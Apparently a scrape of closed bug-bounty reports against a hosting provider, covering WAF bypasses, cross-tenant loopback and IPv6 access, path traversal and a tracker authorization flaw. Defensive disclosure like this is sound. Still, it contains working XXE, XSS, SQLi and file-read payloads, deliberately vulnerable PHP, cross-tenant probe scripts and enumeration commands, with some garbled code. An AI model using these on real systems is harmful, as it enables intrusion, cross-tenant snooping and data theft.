<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><q>&xxe;</q>
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: </h1></body>

```

The WAF does not reject the DOCTYPE/entity payload. In any application that actually parses XML, the entity would be resolved, leading to XXE file read or SSRF.

### 2) Embedded XSS `<script>` — passes as `application/xml` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml

<q><script>alert(1)</script></q>
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: </h1></body>

```

### 3) Literal SQLi — blocked as `application/xml` (control, HTTP 403)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml

<q>x' OR 1=1– -</q>
```
```
HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: 60dbddb…)
```

### 4) `text/xml`

The same `<script>` payload sent with `Content-Type: text/xml` also passes with HTTP 200.

## Impact:

The WAF's XML inspection is inconsistent: literal SQLi is caught, but XXE/DOCTYPE declarations and XSS tags are not blocked. Any site that parses XML POST bodies — SOAP, RSS/Atom ingestion, config import, XML-RPC — behind `waf_profile` is exposed to XXE file read, SSRF, and XSS despite the WAF being active. Combined with FINDING-1, the WAF provides unreliable coverage for the two most common structured-body formats used by modern APIs.

## Recommendations:

- Apply the same inspection rules to XML bodies that are applied to URL-encoded bodies, including DOCTYPE/ENTITY/XXE signatures and embedded tag-based XSS patterns.
- The safer long-term fix is to enforce safe XML parsing at the platform level — disabling external entity resolution at the framework layer — rather than relying on signature-based regex inspection alone.
- Re-test the full matrix from FINDING-1 and this report after any change is applied.

## Evidence Files:

File Contents
`verify_f1_f2.py` Re-verification script; live output shown in PoC blocks above
 453  Per-Site WAF Bypass: application/json POST Bodies Are N ...Closed19.08.2026 Task Description

Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)

Severity: High

Class: CWE-693 Protection Mechanism Failure / CWE-1069 Empty Exception / incomplete WAF coverage

Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

The alwaysdata per-site WAF decides whether to inspect an HTTP request body based solely on the `Content-Type` header. Any POST body sent with `Content-Type: application/json` (case-insensitive; `;charset=` suffix tolerated) is never inspected. Attack payloads — reflected/stored XSS, SQL injection, path traversal, and command injection — carried in a JSON POST body pass through to the application untouched, while the identical payload in `application/x-www-form-urlencoded` or any other content type is blocked with HTTP 403.

This gives the WAF false assurance: any customer site that relies on it and parses JSON POST bodies (most modern frameworks and APIs) is completely unprotected for JSON-bodied attacks.

## Affected Surface:

- The per-site WAF feature (`waf_profile` in the site object, values `basic` / `full` / `null`).
- Tested at `waf_profile = full` (strictest level) — bypass holds there.
- Confirmed at both HTTP/1.1 and HTTP/2.
- Attack classes confirmed to pass as JSON: XSS, SQLi (including literal + UNION), path traversal / arbitrary file read (LFI), OS command injection.
- Only the exact `application/json` string is skipped (case-insensitive, `;charset=` ok). All other content types are inspected and blocked: `urlencoded`, `multipart`, `text/plain`, `text/xml`, `application/xml`, `application/graphql`, `application/vnd.api+json`, `application/octet-stream`, `application/json-patch+json`, `application/merge-patch+json`, `application/x-yaml`, `application/x-protobuf`, `application/grpc`, `application/grpc-web`, `application/javascript`, `application/xhtml+xml`, `application/csp-report`, `application/activity+json`, `application/ld+json`, `application/hal+json`, `application/manifest+json`, `application/geo+json` → all 403.

## Reproduction Steps:

1. Create any alwaysdata hosting account with a PHP site.
2. Enable the WAF: `PATCH https://api.alwaysdata.com/v1/site/<id>/` with body `{"waf_profile": "full"}` (Basic auth with account API token).
3. Upload `vuln.php` and `read.php` (below) to the site webroot via WebDAV.
4. Send the requests shown in the PoC section.

### Victim App — `vuln.php` (reflects parameter into HTML):
```php
<?php
$q = $_REQUEST['q'];
header("Content-Type: text/html");
echo "

<body><h1>Search results for: $q</h1></body>

";
?>
```

### Victim App — `read.php` (reads arbitrary file):

```php
<?php
$f = $_REQUEST['file'];
header("Content-Type: text/plain");
echo @file_get_contents($f);
?>
```

## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):

### 1) Reflected XSS — passes as `application/json` (HTTP 200, script reflected unencoded)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"q":"<script>alert(1)</script>"}
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: <script>alert(1)</script></h1></body>

```

### 1b) Same payload — blocked as urlencoded (control, HTTP 403)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/x-www-form-urlencoded

q=%3Cscript%3Ealert(1)%3C%2Fscript%3E
```
```
HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: b699a16…)
```

### 2) SQL Injection — passes as `application/json` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"q":"x' OR 1=1– -"}
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: x' OR 1=1-- -</h1></body>

```

Control urlencoded: HTTP 403.

### 3) Arbitrary File Read / Path Traversal — passes as `application/json` (HTTP 200, full `/etc/passwd` returned)

```
POST /read.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"file":"/etc/passwd"}
```
```
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
… ```

1764 bytes returned. Control urlencoded: HTTP 403.

### 4) Mechanism Proof — decision is header-only, not body content

Same JSON body with `Content-Type: application/x-www-form-urlencoded` → 403. Same urlencoded body with `Content-Type: application/json` → 200. The bypass is purely the header value, not the actual content.

### 5) HTTP/2

Same JSON-body requests over HTTP/2 (`httpx –http2`) → 200 app response. GET query-parameter attacks remain blocked over h2 — only the body skip exists.

### 6) Automation-Scale Proof (Blind SQLi End-to-End Through the WAF)

- Created a test MariaDB (`regtest846_wafpoc`, MariaDB 11.4.12) and DB user via the public API.
- `sqli.php` implements an unsafe `WHERE username='$q'` blind boolean oracle.
- A Python binary-search extractor (~7 requests/char) recovered the seeded secret `wafpoc_secret_hash_8f3a1d9c2e7b4a60` byte-identical (~245 blind requests total), plus `VERSION()` and DB list — every request rode the `application/json` bypass.
- This confirms the gap is exploitable at automated scale, not just manually; the WAF is the only layer that would stop a scanner.

## Impact:

Any customer site behind the per-site WAF that parses JSON POST bodies is effectively unprotected for XSS, SQLi, LFI, and command injection. The WAF provides a false sense of security and a security-control regression relative to the "full" protection promise. Severity is High as a platform security-control flaw; per-tenant impact depends on the target application's own defenses, but the WAF no longer adds any protection for JSON-bodied requests.

## Re-Test Matrix (Already Verified)

Content-Type XSS SQLi LFI Result
`application/json` 200 pass 200 pass 200 pass BYPASS
`application/x-www-form-urlencoded` 403 403 403 Blocked
`application/xml` 200 pass 403 n/a Partial (see FINDING-2)
`text/xml` 200 pass Partial
`application/graphql` 403 Blocked (relabel to json = bypass)
All other CTs tested 403 403 403 Blocked

## Recommendations:

- Inspect POST bodies regardless of `Content-Type`, or normalize the inspection decision on actual body content rather than the header.
- Treat `application/json` and XML variants (see FINDING-2) the same as any other content type — do not pass them through uninspected.
- If JSON must be special-cased for performance, at minimum apply the same inspection rules to decoded JSON string values recursively, and add content-sniffing so relabeled payloads cannot bypass.
- Apply the fix at the alproxy/nginx layer used by `waf_profile` and re-test the full matrix in this report across all content types and both HTTP versions.

## Evidence Files:

File Contents
`verify_f1_f2.py` Re-verification script; live output shown in PoC blocks above
`rce_src_dump.txt` LFI source disclosure of all webroot files (chains with this finding)
`blind_sqli_extract.py` Automation-scale blind SQLi extractor
`waf_protocol_sweep.py` HTTP/2 + GraphQL + smuggling protocol matrix
`waf_http2_smuggle.py` HTTP/2 smuggling tests
`waf_h2json_gql.py` GraphQL relabeling tests

## Chain B — WAF Also Bypassable at the Network Layer by Co-Tenants (2026-08-18, Verified):
The per-site WAF exists only at the alproxy front. The origin backend Apache has no WAF at all, and per FINDING-6, any same-node co-tenant can connect to the origin directly via its per-tenant ULA address.

Backend listener mapped via LFI (`/home/<acct>/admin/config/apache/{apache.conf,sites.conf}`): real backend is `[fd00::7:<addr>]:8080` with the site vhost (`DocumentRoot /home/<acct>/www/`, FcgidWrapper PHP). Neither config file contains any mod_security or WAF directive.

### A/B Proof (WAF=full active, same requests, identical payloads):

Request Backend via ULA `fd00::7:<addr>:8080` Public front (WAF=full)
`GET /index.html?q=<script>alert(1)</script>` 200 OK (2419 B) 403 Forbidden
`GET /index.html?q=x' OR 1=1–` 200 OK (2419 B) 403 Forbidden
`GET /.git/config` 404 Not Found (normal handling) 403 Forbidden

### Impact Escalation:

FINDING-1's JSON content-type trick is only one way past the WAF. Since FINDING-6 lets any tenant on the same node connect directly to any co-tenant's ULA backend, a co-tenant can send XSS/SQLi/LFI payloads straight to the origin with no WAF enforcement at all. A customer who enables the per-site WAF remains fully unprotected against same-node tenants — the WAF is a front-only filter with a completely open back door on the shared node.

Reachability is node-local: other-node ULA addresses and global-range addresses time out from tenant PHP. The back door exists only for co-tenants sharing the same web node, though many tenants share each node.

The full standalone Chain B report has been submitted as a separate upload: `CHAIN-B_WAF-bypass-via-cotenant-ULA.md` (CVSS 8.1, one-file PHP PoC, vendor detection checklist, bundled evidence in `evidence/`).

 452  FINDING-5 — Cross-Tenant Loopback (127.0.0.1) Service E ...Closed19.08.2026 Task Description

Target: alwaysdata shared web node `http22` (185.31.41.42)
Severity: High
Class: CWE-284 Improper Access Control / tenant isolation failure Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

On the alwaysdata shared web node `http22`, the loopback interface (`127.0.0.1`) is not isolated between tenants. From any tenant's PHP code using only standard functions (`fsockopen` / `stream_socket_client`, no elevated privileges required), it is possible to reach services listening on the loopback that belong to other customers and to alwaysdata's own internal infrastructure.

Port Service Auth Outcome
7020 (bound 0.0.0.0) Customer `fctv33` — "Partite ITA" Stremio sports addon (Node/Express) None Full catalog, live match list, meta, and signed HLS stream tokens readable and generatable
20717 Streamed.pk HLS resolver (another tenant's app) Reachable
8083 alwaysdata PowerDNS API Basic-auth (realm "PowerDNS") Reachable from tenant PHP
8080 alwaysdata internal API (X-API-Key) 401 on POST / 404 on GET Reachable from tenant PHP
53 / 5199 / 8579 / 873 / 2049 / 22 / 111 DNS / misc alwaysdata services Reachable from tenant PHP

The node's public IP (185.31.41.42) is fully firewalled externally so none of these ports are accessible from the internet. The exposure is entirely on-node and cross-tenant — which is precisely the trust boundary that must hold between customers sharing the same node.

## Reproduction Steps:

Upload the following self-contained PHP probe to any site hosted on node `http22` and fetch it over HTTP. It uses only the PHP standard library — no extensions, no special configuration.

### Probe Code (PHP):
```php
<?php
function b($port, $path) {

  $s = @fsockopen("127.0.0.1", $port, $e, $es, 3);
  if (!$s) return "closed";
  $req = "GET $path HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n";
  fwrite($s, $req);
  $r = stream_get_contents($s, 4000);
  fclose($s);
  return $r;

}
echo "– 127.0.0.1:7020 (customer fctv33 Stremio addon)\n";
echo b(7020, "/manifest.json");
echo "\n– 127.0.0.1:7020 /debug/live\n";
echo b(7020, "/debug/live");
echo "\n– 127.0.0.1:8083 (PowerDNS API)\n";
echo b(8083, "/api/v1/servers");
echo "\n– 127.0.0.1:8080 (internal API)\n";
echo b(8080, "/");
?>
```

### Exact Output (2026-08-18, tenant PHP on http22):

```
– 127.0.0.1:7020 (customer fctv33 Stremio addon)
HTTP/1.1 200 OK
{"id":"community.fctv33.sports.test","version":"0.5.8","name":"Partite ITA",
"description":"Partite sportive live","logo":"https://www.fctv33hd.online/favicon.ico",
"resources":["catalog","meta","stream"],"types":["tv"],"idPrefixes":["fctv:"],
"catalogs":[{"type":"tv","id":"partite-ita-live","name":…

– 127.0.0.1:7020 /debug/live
HTTP/1.1 200 OK
{"ok":true,"apiBase":"https://apis-data-defra10.tcdru136ovur.ru","matches":6,
"streamMarkers":6,"sample":[{"id":"fctv:2209841:4","matchId":"2209841",
"sportType":"ST_BASEBALL","title":"Western Wolf Pack vs Southern Stingers",
"league":"AWA Wiffle"},…

– 127.0.0.1:8083 (PowerDNS API)
HTTP/1.0 401 Unauthorized
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'
Www-Authenticate: basic realm="PowerDNS"
<h1>Unauthorized</h1>

– 127.0.0.1:8080 (internal API)
HTTP/1.0 404 Not Found
```

### Signed Token Generation (port 7020):

A `GET /stream/tv/<id>.json` request to port 7020 returns a signed HLS URL in the following form:

```
https://catologo-ita-auto.alwaysdata.net/partite-ita/hls-proxy.m3u8?t=<JWT>&s=<sig>
```

Any co-tenant on the node can generate valid signed stream tokens for another customer's paid content service, replay those signed URLs, or consume that customer's bandwidth and quota — all without any authentication whatsoever.

## Impact:

Tenant-to-tenant isolation failure. Any customer's PHP running on a shared node can connect to other customers' loopback-bound services, read private data, and abuse application functionality such as generating signed tokens or consuming rate-limited resources.

alwaysdata infrastructure directly reachable from tenant code. The PowerDNS API on port 8083 and the internal API on port 8080 are both reachable from any tenant. While currently auth-gated, their exposure to arbitrary tenant code violates defense-in-depth and significantly widens the blast radius of any future credential leak or auth bypass on those services.

The external firewall correctly blocks all of this from the internet. The problem is that the same firewall does nothing to stop co-tenants from reaching each other — and that is the exact boundary that shared hosting must enforce.

## Ethical Disclosure:

I confirmed the issue by observing that a co-tenant application on the node loopback was serving live data and generating signed stream tokens with no authentication, and that alwaysdata's own PowerDNS and internal API endpoints were reachable from tenant PHP. I fetched only the addon manifest, the live-match list, and a single signed token URL to establish proof of impact, then immediately stopped. I did not consume any victim stream. All observed customer content including match data, stream URLs, and token values has been redacted from the evidence files.

alwaysdata-internal services (8080 / 8083) were probed with unauthenticated GET requests only, receiving 401 and 404 responses respectively. No authentication bypass was attempted.

## Recommendations:

Isolate the loopback per tenant. Place each tenant in its own network namespace (or provision a per-tenant loopback / veth pair with NAT) so that `127.0.0.1` inside tenant A's context never routes to tenant B's services or to alwaysdata's internal services.

Move internal services off the shared loopback. Bind the PowerDNS API (8083) and internal API (8080) to a management-only interface — a separate VRF, network namespace, or non-tenant network segment — rather than the shared node loopback.

Do not rely on application-layer authentication as the sole control. Auth on these services is a good second line of defense but is not a substitute for proper network-level isolation at the tenant boundary.

## Evidence Files:

File Contents
`verify_all_output.txt` Live re-verification output (ports 7020, 8080, 8083)
`port8080_probe.txt` First-discovery probe output for port 8080
`tenantapp_7020.txt` Port 7020 manifest and debug-live responses
`tenantapp_probe3.txt` `/stream/tv/<id>.json` signed JWT output (token value redacted)
`CHAIN.md` Full finding chain reference
 450  Per-site WAF fully bypassable by any co-tenant — attack ...Closed20.08.2026 Task Description

Target: alwaysdata shared web node http22 — per-site WAF (waf_profile) + per-tenant Apache backend
Severity: High — CVSS 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)

Class: CWE-693 Protection Mechanism Failure + CWE-284 Improper Access Control

Verified: 2026-08-18, live re-test, zero false positives

Related reports: FINDING-1 (WAF JSON bypass) and FINDING-6 (ULA IPv6 cross-tenant access) — both submitted separately, both are prerequisites for this chain
— Architecture — how the attack works
```

                      INTERNET
                          │
                          ▼
            ┌─────────────────────────────┐
            │         alproxy             │
            │  (nginx-based public front) │
            │                             │
            │  ┌───────────────────────┐  │
            │  │   per-site WAF runs   │  │  ← waf_profile = full
            │  │   HERE — XSS/SQLi/LFI │  │    blocks malicious
            │  │   signatures, 403     │  │    payloads from internet
            │  └───────────────────────┘  │
            └──────────────┬──────────────┘
                           │ proxied request
                           ▼
            ┌─────────────────────────────┐
            │    Tenant Apache (origin)   │
            │  Listen [fd00::7:9184]:8080 │  ← no WAF here at all
            │  DocumentRoot /home/acct/   │    no mod_security
            │  FcgidWrapper php-cgi       │    no SecRule
            └─────────────────────────────┘
                           ▲
                           │ direct TCP connection
                           │ (skips alproxy entirely)
            ┌─────────────────────────────┐
            │   Attacker tenant PHP       │
            │   fsockopen(               │
            │     "[fd00::7:9184]", 8080) │  ← any co-tenant can do this
            │                             │    because bond0 is shared L2
            └─────────────────────────────┘
NODE http22 — shared bridge bond0 (all tenants on same L2)
┌──────────────────────────────────────────────────────────┐
│  Tenant A  fd00::7:8900:8080  ◄──┐                      │
│  Tenant B  fd00::7:8af6:8080  ◄──┤  attacker reaches    │
│  Tenant C  fd00::7:8e39:8080  ◄──┤  any of these        │
│  Attacker  fd00::7:9184:8080     │  directly via PHP    │
│  ... 146 total listeners ...  ◄──┘  fsockopen           │
└──────────────────────────────────────────────────────────┘

```
The WAF only exists on alproxy. The origin Apache has no WAF rules. The shared bridge means any tenant's PHP can reach any co-tenant's origin directly. Those two facts together make the WAF completely bypassable by anyone on the same node.

What I found:

When a customer enables the per-site WAF on their alwaysdata site, the protection only lives on alproxy, the public-facing nginx front. The actual web server behind it — a per-tenant Apache instance — listens on a ULA IPv6 address (fd00::7:<suffix>:8080) and has no WAF rules of any kind. I confirmed this by reading the origin Apache config from my own tenant account.
The node runs all tenant Apaches on a single shared bridge called bond0. Because of this, all the fd00::7:* ULA addresses are on the same Layer 2 segment and reachable from any tenant's PHP code using a plain fsockopen call. When an attacker connects directly to a co-tenant's ULA backend, their request goes straight to the Apache origin and completely skips alproxy. The WAF never sees the request. No payload obfuscation is needed.
The practical consequence is that any customer who pays for WAF protection gets zero protection from other customers on the same shared node, which is the most realistic attacker population on a shared hosting platform since they already have code execution on the same machine.

How to reproduce:

You need two alwaysdata accounts on the same shared web node. The attacker account needs a basic PHP site. The victim account needs the WAF enabled.
Enable the WAF on the victim site:
```
PATCH https://api.alwaysdata.com/v1/site/<victim-site-id>/
Authorization: Basic <account-api-token>
Content-Type: application/json

{"waf_profile": "full"}
```
Then upload the PoC script (Section 4) to the attacker webroot. Replace the $victim and $host values, open it in a browser, and it will demonstrate the A/B differential.
— Live evidence — A/B differential (2026-08-18, waf_profile=full)
I sent three payloads through both paths while the victim WAF was at its strictest setting. Public front blocked all three. Backend served all three.
Reflected XSS — via public front (WAF active):
```
GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: regtest846.alwaysdata.net

HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: badaac42-…)
```
Same payload — via co-tenant PHP directly to victim ULA backend:
```
GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: regtest846.alwaysdata.net

HTTP/1.1 200 OK
Server: Apache
Content-Length: 2419
(full page served, payload unblocked)
```
SQL injection — public front: 403 Forbidden. Backend ULA: 200 OK.
Path traversal probe (/.git/config) — public front: 403 Forbidden. Backend ULA: 404 Not Found, meaning the backend handled the request normally and the WAF was never consulted.
Results summary:
```
payload via ULA backend (no WAF) via public front (WAF=full)
XSS HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden
SQLi HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden
/.git/config HTTP/1.1 404 Not Found HTTP/1.1 403 Forbidden
```
Origin Apache config — no WAF present:
```
/home/regtest846/admin/config/apache/apache.conf

  Listen [fd00::7:9184]:8080
  Include "sites.conf"

/home/regtest846/admin/config/apache/sites.conf

  <VirtualHost *>
      ServerName regtest846.alwaysdata.net
      AddHandler fcgid-script .php
      FcgidWrapper "/usr/bin/env ... /usr/bin/php-cgi" .php
      DocumentRoot "/home/regtest846/www/"
  </VirtualHost>

```
No mod_security, no SecRule, no WAF include anywhere in the origin config.
— PoC script
Drop this on any alwaysdata PHP site on the same node as the victim. Replace $victim with the co-tenant's ULA suffix and $host with their public hostname.
```php
<?php
header("Content-Type: text/plain");
set_time_limit(120);

function http6($ip, $port, $path, $host) {

  $s = @fsockopen("[$ip]", $port, $e, $es, 6);
  if (!$s) return "CLOSED";
  stream_set_timeout($s, 10);
  fwrite($s, "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n");
  $r = "";
  while (!feof($s)) {
      $c = fread($s, 8192);
      if ($c === false || $c === "") break;
      $r .= $c;
  }
  fclose($s);
  return $r;

}

// replace these two values
$victim = "fd00::7:XXXX";
$host = "VICTIM.alwaysdata.net";

$payloads = array(

  "XSS"       => "/index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E",
  "SQLi"      => "/index.html?q=x%27%20OR%201%3D1--",
  "path/.git" => "/.git/config",

);

echo "payload\t\t\tvia ULA backend\n";
echo str_repeat("-", 55) . "\n";
foreach ($payloads as $name ⇒ $path) {

  $be = http6($victim, 8080, $path, $host);
  $status = strtok($be, "\r\n");
  echo str_pad($name, 16) . "\t$status\n";

}
echo "\nNote: same payloads via public front all return 403.\n";
echo "Node context:\n";
echo "hostname: " . trim1) . "\n";
echo "our ULA: " . trim2) . "\n";
?>
```

Impact:

The WAF feature gives false assurance on shared nodes. Customers who enable waf_profile=full expect XSS, SQL injection, and LFI protection. That protection does not exist against co-tenants.
An attacker needs only a cheap alwaysdata account to send arbitrary attack payloads to any WAF-protected site on their node. This is not a theoretical concern — shared hosting nodes host many customers and the attacker already has PHP execution on the same machine, so the network path to co-tenant backends is trivially reachable.
The scope of the bypass is limited to the node (not the entire platform). No co-tenant application data was accessed. I sent payloads only to static files on my own test account to produce the A/B differential, and immediately stopped after confirming the bypass.

How to fix this:

The simplest immediate fix is to enforce the same WAF rules on the backend Apache, not just on alproxy. This breaks the bypass regardless of whether co-tenants can reach the ULA backend.
The deeper fix is per-tenant network isolation so tenant PHP code cannot reach co-tenant ULA addresses at all. This is also the root cause of FINDING-6 and would eliminate that entire class of finding across the node.
Both fixes independently break this chain. Ideally both are applied together.
After any fix, the A/B test in this report should show 403 on both the public front and the direct ULA backend path.

Evidence files:

The following evidence files are available and can be provided on request or via a support ticket per the program's private-information policy:

chain_probe4_output.txt — live A/B differential output showing backend 200 vs public front 403 for all three payloads
apache_conf_dump.txt — origin apache.conf confirming Listen directive on ULA address with no WAF or mod_security directives present
rce_read_sites_conf.py and its output — sites.conf dump confirming vhost configuration with FcgidWrapper and DocumentRoot, no WAF include

FINDING-1 (WAF JSON Content-Type bypass) and FINDING-6 (ULA IPv6 cross-tenant access) will be submitted as separate reports. Both are prerequisites for this chain.

1) string)@shell_exec("hostname 2>/dev/null"
2) string)@shell_exec("ip -6 addr 2>/dev/null | grep -o 'fd00::7:[0-9a-f]*' | head -1"
 449  Service Working Directory Path Traversal Allows Filesys ...Closed19.08.2026 Task Description

## Description
The Alwaysdata Service feature does not properly restrict the Working Directory to the user's authorized directory. By using directory traversal (`../`) in the Working Directory, an authenticated user can escape the intended directory boundary. The configured service command is then executed from the resulting directory, and its output is returned in the service logs.

The demonstrated impact is unauthorized directory and filename enumeration outside the intended Working Directory.

## CVSS → CVSS v3.1: 5.3 (Medium) → CWE-22 — Path Traversal

## Steps to Reproduce
1. Log in to an Alwaysdata account.
2. Go to Services and create a new service.
3. Set the command to:

ls

4. Set the Working Directory to a traversal path that escapes the authorized directory.

../../
../victim/www
../../root/

5. Start the service.
6. Open the service Logs.
7. Observe that the command executes outside the intended Working Directory and returns directory names that are outside the user's authorized path.

For example, the service logs returned root-level directories including:

alwaysdata
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
nfs
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

## Impact
An authenticated user can bypass the intended Working Directory restriction and:

* Enumerate directories outside the authorized path.
* Obtain filenames and directory names.
* Determine whether specific filesystem paths exist.
* Disclose filesystem structure through service logs.

The demonstrated PoC is limited to directory and filename enumeration. No file contents were accessed or modified.

## Actual Behavior
The Service feature accepts a traversal-based Working Directory and executes the configured command outside the intended directory boundary. The resulting directory contents are disclosed through the service logs.

## Expected Behavior
The Working Directory should remain restricted to the directories authorized for the service. Traversal sequences such as ../ should not allow the resolved path to escape that boundary.

## Proof Of Concept
Drive_Link → https://drive.google.com/file/d/117lXZYv3Y6KHEjs8qEGSIP4gGsPzrE8v/view?usp=sharing

## Summary
An authenticated Alwaysdata user can use path traversal in the Service Working Directory field to escape the intended directory restriction, causing service commands such as ls to execute from unauthorized filesystem locations and disclose directory/file names through service logs.

Thanks

 446  Missing Authorization Check Allows Unauthenticated Acce ...Closed19.08.2026 Task Description

Hi Team We have Found a Vulnerability in your Website.

Target: security.alwaysdata.com

Endpoint: https://security.alwaysdata.com/task/<id> (individual task pages),
https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1 (RSS feed)
Severity: P2 — Medium/High

security.alwaysdata.com is alwaysdata's own Flyspray-based vulnerability disclosure and bug bounty intake tracker. The authorization check that correctly restricts access to task pages (Error #102: You have no permission to view this task) is not applied once a task's status is changed to Closed. Any unauthenticated user can browse /task/<id> for a closed task and receive the full report body — title, description, complete reproduction steps, PoC scripts, affected infrastructure hostnames, internal usernames, and private staff/reporter comment threads.

This is not limited to one task. Testing across six closed tasks spanning different vulnerability classes and dates confirms the behavior is systemic, not an isolated misconfiguration on a single report. An accompanying open (unpatched) task was correctly blocked under identical, cookie-free request conditions, isolating the defect specifically to the closed-status code path rather than a site-wide access control failure.

Root CauseThe task detail view in Flyspray renders a Private field in its metadata table, but that field was empty on the tested task (confirmed by inspecting the rendered HTML — no private value or class was present). This means the exposure is not an override of an explicit Private flag. The actual defect is narrower and more precise:

The authorization check that gates task visibility is not invoked — or is bypassed — once a task's status transitions to Closed.

Evidence for this: an open task ( FS#444 ) under the exact same unauthenticated request conditions returns Error #102: You have no permission to view this task, logging in might help. The moment a task is closed, that same check no longer applies. Status, not the Private flag, is the variable that determines whether the authorization check runs.

CWE-862 — Missing Authorization is the precise classification: the system fails to perform an authorization check for a resource in one specific state (closed), while correctly performing it in another (open).

Proof of Concept All requests below were made with –cookie-jar /dev/null –cookie /dev/null, guaranteeing zero session state — no prior login, no leftover cookies, fully anonymous.

Step 1 — Control: open (unpatched) task correctly requires authentication
curl -s "https://security.alwaysdata.com/task/444" \

  1. -cookie-jar /dev/null –cookie /dev/null

Response includes:

Error #102: You have no permission to view this task, logging in might help.
No task title, description, or body content is returned — only the shell page and login form.

Step 2 — Closed task renders full content, zero authentication
curl -s "https://security.alwaysdata.com/task/440" \

  1. -cookie-jar /dev/null –cookie /dev/null

Returns HTTP 200 with the complete task page, including:

Full title:  FS#440  - Incomplete Fix for  FS#426  - Staff Files Still Publicly Accessible via Symlink
Status field: Closed
Opening description paragraph of the vulnerability
Redacted excerpt (sensitive reproduction steps, PoC script, and internal usernames omitted — see Impact section for what was present in the full response):

Status: Closed
Assigned To: cbay
Opened by Bores - 10.08.2026
Last edited by cbay - 10.08.2026

 FS#440  - Incomplete Fix for  FS#426  - Staff Files Still Publicly Accessible via Symlink

The fix for  FS#426  removed staff entries from NSS (`getent passwd` now returns
empty for staff), but the files themselves were not restricted…

[Report continues with full SSH reproduction steps, a working PoC bash script,
specific staff usernames, and internal staff comments discussing bounty payout —
omitted from this report to avoid redistributing sensitive data already exposed
by the underlying access control failure being reported here.]

Step 3 — Confirm zero session state and quantify the content disparity
echo "=== Closed task ( FS#440 ) ==="
curl -s –cookie-jar /dev/null –cookie /dev/null \

"https://security.alwaysdata.com/task/440" | wc -l

echo "=== Open task ( FS#444 ) ==="
curl -s –cookie-jar /dev/null –cookie /dev/null \

"https://security.alwaysdata.com/task/444" | wc -l

Result:

Closed task (FS#440)

451

Open task (FS#444)

136
Both requests use identical, empty cookie jars. The closed task returns 3.3x more content — the full report body — while the open task returns only the login-gated shell page. This isolates the defect to task status, ruling out session leakage or caching artifacts as an explanation.

Step 4 — Confirm the pattern is systemic across multiple closed tasks
for id in 401 415 423 426 440 443; do

echo "=== task/$id ==="
curl -sk -o /tmp/task_$id.html -w "HTTP:%{http_code}\n" \
  "https://security.alwaysdata.com/task/$id"
grep -o '<title>[^<]*</title>' /tmp/task_$id.html

done
Result — all six closed tasks return HTTP 200 with full titles rendered, unauthenticated:

task/401

HTTP:200
<title> FS#401  : Critical SSRF via Application Script Source URI — Cross-Tenant Data Leak</title>

task/415

HTTP:200
<title> FS#415  : SSTI → RCE on Core Infrastructure Server (overlord-core)</title>

task/423

HTTP:200
<title> FS#423  : Broken Object Level Authorization (IDOR) → Mass PII Disclosure</title>

task/426

HTTP:200
<title> FS#426  : Internal staff account and privilege hierarchy disclosure via SSH</title>

task/440

HTTP:200
<title> FS#440  : Incomplete Fix for  FS#426  - Staff Files Still Publicly Accessible via Symlink</title>

task/443

HTTP:200
<title> FS#443  : Authenticated API Disclosure of DKIM Private Keys</title>
[Screenshot 4 — attach here: full terminal output of this loop]

Step 5 — Independent surface: RSS feed leaks the same data without authentication
curl -sk "https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1"
Returns task titles, authors, and publish dates for recently filed reports without authentication — including reports as recent as 2–3 days old at test time ( FS#442 ,  FS#443 ). This confirms a second, independent code path exposes the same underlying data, and that newly filed reports enter the exposed state quickly.

Impact What is exposed, concretely, right now, to any unauthenticated internet user:

Complete vulnerability disclosure content for every closed report on the tracker, including:

Exact vulnerable endpoints and affected infrastructure hostnames
Full reproduction steps, in some cases including working exploit/PoC scripts
CVSS scores and severity classifications
Internal staff usernames and reporter identities
Private comment threads between alwaysdata staff and reporters

2)A live reconnaissance dataset spanning multiple vulnerability classes, confirmed present across the six tasks tested alone: SSRF ( FS#401 ), server-side template injection leading to RCE ( FS#415 ), IDOR/mass PII disclosure ( FS#423 ), internal account disclosure ( FS#426 ), symlink-based file exposure ( FS#440 ), and API key disclosure ( FS#443 ). The RSS feed additionally surfaces titles for further reports ( FS#427 ,  FS#429 ,  FS#430 ,  FS#432 ,  FS#433 ,  FS#442 ) not deep-tested here but following the identical exposure pattern.

